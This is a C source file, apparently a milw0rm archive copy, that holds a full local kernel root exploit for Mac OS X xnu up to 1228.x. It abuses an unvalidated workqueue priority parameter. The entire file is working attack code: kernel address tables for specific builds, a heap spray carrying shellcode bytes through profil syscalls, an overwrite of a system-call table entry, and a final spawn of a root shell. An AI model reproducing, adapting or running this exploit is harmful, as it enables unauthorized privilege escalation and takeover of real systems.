/* xnu-workq-v2-64.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Apple MACOS X xnu <= 1228.9.59 local kernel root exploit
* by mu-b - Sat 16 Feb 2008
*
* - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
* Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
*
* workqueue_additem and workqueue_removeitem do no validate the
* user defineable parameter prio.
* (bsd/kern/pthread_synch.c)
*
* Note: this requires quite a large amount of memory for the heap spray!
*
* Compile: gcc -Wall -O0 -m64 xnu-workq-v2-64.c -o xnu-workq-v2-64
* (compile 64-bit ONLY)
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>
/* profil defines */
#define PROFIL_ITEM_SIZE 64
#define PROFIL_BLK_SIZE 65536
#define PROFIL_BLK_NUM 84
/* workq defines */
#define WQOPS_QUEUE_ADD 1
#define WORKQUEUE_PRIOS_MIN -2
#define WORKQUEUE_PRIOS_MAX 2
/* overwrite defines */
#define WL_LIST_BASE 0x05600000
#define WL_LIST_ACCESS 0x09000060
#define WILIST_PTR 0x10000044
#define WIITEM_PTR 0x18000044
struct workq_item {
void *_pad[2];
void *func;
void *__pad[2];
};
struct workq_ops_args {
int options;
void *item;
int prio;
};
static struct targets {
const char *name;
int auth_addr; /* kauth_cred_get */
int sys_addr; /* sysent, &__mac_getfsstat */
} targets_t[] = {
{ "root:xnu-1228~1/RELEASE_I386", 0x0035F492, 0x00503F90 + 4 },
{ "root:xnu-1228.0.2~1/RELEASE_I386", 0x0035F429, 0x00504F90 + 4 },
{ "root:xnu-1228.3.13~1/RELEASE_I386", 0x0036094C, 0x00506F90 + 4 },
{ NULL, 0, 0 },
};
void
_dummy (void)
{
while (1);
}
int
main (int argc, char **argv)
{
struct workq_ops_args req;
struct workq_item workq;
struct utsname p_uname;
int auth_addr, sys_addr;
char buf[1024], *ptr;
int id, i, n;
printf ("Apple MACOS X xnu <= 1228.3.13 local kernel root/DoS exploit\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
auth_addr = 0;
sys_addr = 0;
uname (&p_uname);
ptr = strrchr (p_uname.version, ' ') + 1;
for (i = 0; targets_t[i].name; i++)
if (strcmp (targets_t[i].name, ptr) == 0)
{
auth_addr = targets_t[i].auth_addr;
sys_addr = targets_t[i].sys_addr;
break;
}
if (targets_t[i].name == NULL)
{
fprintf (stderr, "%s: unsupported xnu version found :( [%s]\n",
argv[0], ptr);
exit (EXIT_FAILURE);
}
printf ("* opening work queue, pid: %d...", getpid ());
if ((n = syscall (SYS_workq_open, NULL)) < 0)
{
fprintf (stderr, "\n%s: syscall [SYS_workq_open]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
printf ("done\n\n");
printf ("* beginning spraying...\n");
printf ("** opening profil, pid: %d...", getpid ());
if ((n = syscall (SYS_profil, buf, sizeof buf, 0, 1)) < 0)
{
fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
printf ("done\n");
printf ("* filling %d-bytes of kernel memory...\n", PROFIL_BLK_NUM * PROFIL_BLK_SIZE * PROFIL_ITEM_SIZE);
printf ("** filling workitemlist pointers...\n");
fflush (stdout);
for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
{
void *arg1, *arg2, *arg3;
arg1 = (void *) ((((long) WILIST_PTR) << 32) | WILIST_PTR);
arg2 = (void *) 0xE4E5E6E7E0E1E2E3;
arg3 = (void *) 0xF4F5F6F7F0F1F2F3;
n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0);
if (n < 0)
{
fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
if (!(i % 32))
printf ("** %d-bytes filled\r", i * 64);
}
printf ("\n** done\n\n");
printf ("** filling %d workitem elements...\n", (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3);
fflush (stdout);
for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
{
void *arg1, *arg2, *arg3;
/* 0X4(edx) (edx) */
/* eax ecx */
arg1 = (void *) ((((long) sys_addr) << 32) | WIITEM_PTR);
arg2 = (void *) 0xDEADBE03DEADBE02;
arg3 = (void *) 0xDEADBE05DEADBE04;
n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0);
if (n < 0)
{
fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
if (!(i % 32))
printf ("** %d-bytes filled\r", i * 64);
}
printf ("\n** done\n\n");
printf ("** filling %d next workitem elements...\n", (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3);
fflush (stdout);
for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
{
void *arg1, *arg2, *arg3;
arg1 = (void *) 0x0000000004EB9090;
arg2 = (void *) ((((long) auth_addr) << 32) | 0xB8E58955);
arg3 = (void *) 0xC9105089D231D0FF;
n = syscall (SYS_add_profil, arg1, arg2, arg3, 0xCCC3);
if (n < 0)
{
fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
if (!(i % 32))
printf ("** %d-bytes filled\r", i * 64);
}
printf ("\n** done\n* done\n\n");
printf ("* adding dummy workq to lists...\n");
memset (&workq, 0, sizeof workq);
workq._pad[0] = buf;
workq._pad[1] = buf;
workq.func = &_dummy;
workq.__pad[0] = buf;
workq.__pad[1] = buf;
for (i = WORKQUEUE_PRIOS_MIN; i <= WORKQUEUE_PRIOS_MAX; i++)
{
memset (&req, 0, sizeof req);
req.options = WQOPS_QUEUE_ADD;
req.item = &workq;
req.prio = i;
printf ("** adding dummy worklist item: %d...", i);
if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) < 0)
{
fprintf (stderr, "\n%s: syscall [SYS_workq_ops]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
printf ("done\n");
}
printf ("* done\n\n");
sleep (1);
memset (&req, 0, sizeof req);
req.options = WQOPS_QUEUE_ADD;
req.item = (void *) 0xCAFEBABE;
req.prio = (WL_LIST_ACCESS - WL_LIST_BASE) / 16;
printf ("* overwriting @0x%08X with 0x%08X\n", sys_addr, WIITEM_PTR);
printf ("** req.prio: 0x%08X, access @~0x%08X [with offset: 0x%08X]\n",
req.prio, WL_LIST_ACCESS, WL_LIST_BASE);
sleep (1);
if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) < 0)
{
fprintf (stderr, "%s: syscall [SYS_workq_ops]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
printf ("* done\n\n");
printf ("* jumping....");
sleep (1);
if ((n = syscall (SYS___mac_getfsstat, 0, 0, 0, 0, 0)) == 0)
{
fprintf (stderr, "\n%s: syscall [SYS___mac_getfsstat]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
printf ("done\n\n");
id = getuid ();
printf ("* getuid(): %d\n", id);
if (id == 0)
{
printf ("+Wh00t\n\n");
/* exec shell, for some reason execve doesn't work!?$! */
system ("/bin/bash");
}
else
fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);
return (EXIT_SUCCESS);
}
// milw0rm.com [2009-06-08]
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